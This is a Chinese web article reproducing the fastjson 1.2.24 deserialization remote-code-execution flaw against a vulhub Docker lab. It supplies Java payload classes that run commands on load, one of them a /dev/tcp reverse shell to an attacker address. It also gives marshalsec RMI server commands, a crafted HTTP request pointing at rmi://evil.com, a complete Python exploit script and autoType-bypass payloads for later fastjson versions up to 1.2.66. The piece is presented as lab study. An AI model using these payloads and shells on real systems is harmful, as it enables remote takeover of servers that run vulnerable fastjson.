千家信息网

请输入关键字词

热门搜索排行

最新搜索排行

导航： 首页 > 网络安全 >

怎么解析fastjson 1.2.24 反序列化RCE漏洞复现

发表于：2024-12-05 作者：千家信息网编辑
千家信息网最后更新 2024年12月05日，本篇文章为大家展示了怎么解析fastjson 1.2.24 反序列化RCE漏洞复现，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。fastjson 1.2.24
千家信息网最后更新 2024年12月05日怎么解析fastjson 1.2.24 反序列化RCE漏洞复现

本篇文章为大家展示了怎么解析fastjson 1.2.24 反序列化RCE漏洞复现，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。

fastjson 1.2.24 反序列化导致任意命令执行漏洞

Port : 8090

fastjson 在解析 json 的过程中，支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

根据官方给出的补丁文件，主要的更新在这个 checkAutoType 函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。

漏洞环境

如下测试环境借助 vulhub 的 docker 镜像，附上 P 师傅的链接：https://github.com/vulhub/vulhub

运行测试环境：

docker-compose up -d

环境运行后，访问 http://your-ip:8090即可看到 JSON 格式的输出。

我们向这个地址 POST 一个 JSON 对象，即可更新服务端的信息：

curl http://your-ip:8090/-H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现

因为目标环境是 Java 8u102，没有 com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以使用 com.sun.rowset.JdbcRowSetImpl的利用链，借助 JNDI 注入来执行命令。

首先编译并上传命令执行代码，如 http://x.x.x.x:8989/TouchFile.class：

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"bash","-c","touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

注意：

  • String commands 在部分环境下需要添加 bash -c ,否则无法执行命令。

  • 如果没有 web 服务，其实可以通过 php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port临时搭建一个 web 服务器，其发布目录即当前执行目录。

然后我们借助 marshalsec项目，启动一个 RMI 服务器，监听 9999 端口，并制定加载远程类 TouchFile.class：

如果没有 maven 环境，需要安装一下，如下是安装步骤（以 win10 为例）：

  1. 从官网下载安装包：apache-maven-3.6.3-bin.zip

  2. 解压 apache-maven-3.6.3-bin.zip

  3. 配置环境变量，MAVEN_HOME为解压后的根目录，我们最终需要将 %MAVEN_HOME%\bin;加到 Path 全局变量下。

  4. 验证是否成功，如果无报错，则执行成功，例如：

C:\Users\XXXX> mvn -versionApache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)Maven home: D:\System_Relation\apache-maven-3.6.3\bin\..Java version: 1.7.0_79, vendor: Oracle Corporation, runtime: D:\Program Files\Java\jdk1.7.0_79\jreDefault locale: zh_CN, platform encoding: GBKOS name: "windows 8.1", version: "6.3", arch: "amd64", family: "windows"

  1. 通过 git clone 或者直接下载压缩包的方式，将项目源代码完成的克隆下来

  2. 在项目目录下，直接编译。

  3. 最终会生成 marshalsec-0.0.3-SNAPSHOT-all.jar这样一个文件

  4. 将生成的 marshalsec-0.0.3-SNAPSHOT-all.jar包部署到公网的一台 VPS 上，执行如下脚本

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:port/#TouchFile" 9999

如果上述的步骤一直不成功，可以直接使用别人已编译好的 jar 包，推荐一个 github项目，选择【fastjson】=>【marshalsec-0.0.3-SNAPSHOT-all.jar 】：

  • 漏洞利用脚本库注意：该 jar 包使用 jdk 1.8 编译。

向靶场服务器发送Payload，带上 RMI 的地址：

POST / HTTP/1.1Host: your-ip:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://evil.com:9999/TouchFile",        "autoCommit":true    }}

可见，命令 touch /tmp/success已成功执行：

引申：

既然可以执行命令，自然可以反弹 shell，只需要修改之前的 Touch_File.java 中的 command 部分即可。以下是代码参考：

// javac shell_re.java import java.lang.Runtime; import java.lang.Process;  public class shell_re {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    } }

反弹 shell 成功：

EXP

fastjson<=1.2.24

exphub

#!/usr/bin/python3# -*- coding:utf-8 -*-# author:zhzyker# from:https://github.com/zhzyker/exphubimport sysimport requestsif len(sys.argv)!=3:    print('+------------------------------------------------------------------------------------+')    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')    print('+      RMIServer: rmi://ip:port/exp                                                  +')    print('+      LDAPServer: ldap://ip:port/exp                                                +')    print('+------------------------------------------------------------------------------------+')    print('+ USE: python3                                  +')    print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')    print('+ VER: fastjson<=1.2.24                                                              +')    print('+------------------------------------------------------------------------------------+')    sys.exit()url = sys.argv[1]server = sys.argv[2]headers = {    'Host': "127.0.0.1",    'Content-Type': "application/json",    'Accept-Encoding': "gzip, deflate",    'Connection': "close",    'Accept': "*/*",    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"    }    payload = """    {        "b":{            "@type":"com.sun.rowset.JdbcRowSetImpl",            "dataSourceName":"%s",            "autoCommit":true        }    }    """ %servertry:    r = requests.post(url, payload, headers=headers, timeout=10)    print ("[+] RMI/LDAP Send Success ")except:    print ("[-] RMI/LDAP Send Failed ")

此外还有其他版本的 Exp，这里不再一一列举。单独列一下 payload：

fastjson<=1.2.41
payload = """{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}""" %server
fastjson<=1.2.42
payload = """{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}""" %server
fastjson<=1.2.43
payload = """{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"%s", "autoCommit":true}""" %server
fastjson<=1.2.45
payload = """{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"%s"}}""" %server
fastjson<=1.2.47
payload = """{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%s", "autoCommit": true}}""" %server
fastjson<=1.2.62
payload = """{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"%s"}""" %server
fastjson<=1.2.66
payload = """{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"%s"}""" %server

安装过程中的故障

Q1： maven-surefire-plugin（2.19.1） 无法通过 pom.xml 安装。

A1：由于官网对这些插件的及时更新，而 pom.xml 中的链接已无法获取到对应的版本：

截至我写这篇文章时，官网推荐的写法已变成 3.0.0-M5

因此可以通过以下方式来解决

  1. 离线下载的方式，下载老插件

  2. （推荐）通过配置 mirror 镜像来解决这个，参考资料：https://developer.aliyun.com/article/613873

Q2: IDEA build 项目时，提示"[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project marshalsec: Fatal error compiling: 无效的目标发行版: 1.8 -> [Help 1]"

A2：通过调整 JDK 版本解决，参考链接：https://www.cnblogs.com/shenrong/p/7129210.htmlhttps://blog.csdn.net/fanrenxiang/article/details/80864908

Q3： IDEA build 项目时，提示 "Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test (default-test) on project marshalsec: There are test failures"

A3：surefire 是一个测试插件，默认情况下，surefire 会执行文件名以 Test 开头或结尾的测试用例，或者是以 TestCase 结尾的测试用例。其实可以跳过该步骤。参考链接：https://www.cnblogs.com/lxcy/p/8279899.html

上述内容就是怎么解析fastjson 1.2.24 反序列化RCE漏洞复现，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注行业资讯频道。

很赞哦！
环境 漏洞 命令 项目 成功 服务 测试 序列 链接 参考 编译 代码 插件 文件 方式 服务器 步骤 版本 目录 推荐 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 第三方百度网盘服务器源码 删除表所以数据库 远程多个服务器的管理工具 网络技术专业岗位群 门铃声软件开发 34号令网络安全 服务器pcie扩展卡通用吗 软件开发宣传广告语 python开发数据库管理工具 无线网络安全测试 公安机关网络安全讲座ppt 从数据库中加载表到前端 马萨诸塞州的摩西网络安全公司 数据库mysql如何卸载 山东微思网络技术 基岩版花雨庭服务器端口 服务器读取磁盘图片很慢 网络安全需要哪些硬件 数据库实时同步软件免费绿色版 奥丁台服服务器全满 泉州金融直播软件开发 数据库不正确的字符串值 如何成为一个软件开发大佬 郴州学电脑软件开发多少钱一个月 数据库满足等保要求 广德进口软件开发服务是什么 安卓ios编程软件开发 web服务器安全设置实验楼 软件开发商的趋势 关于软件和网络安全的书

相关文章

0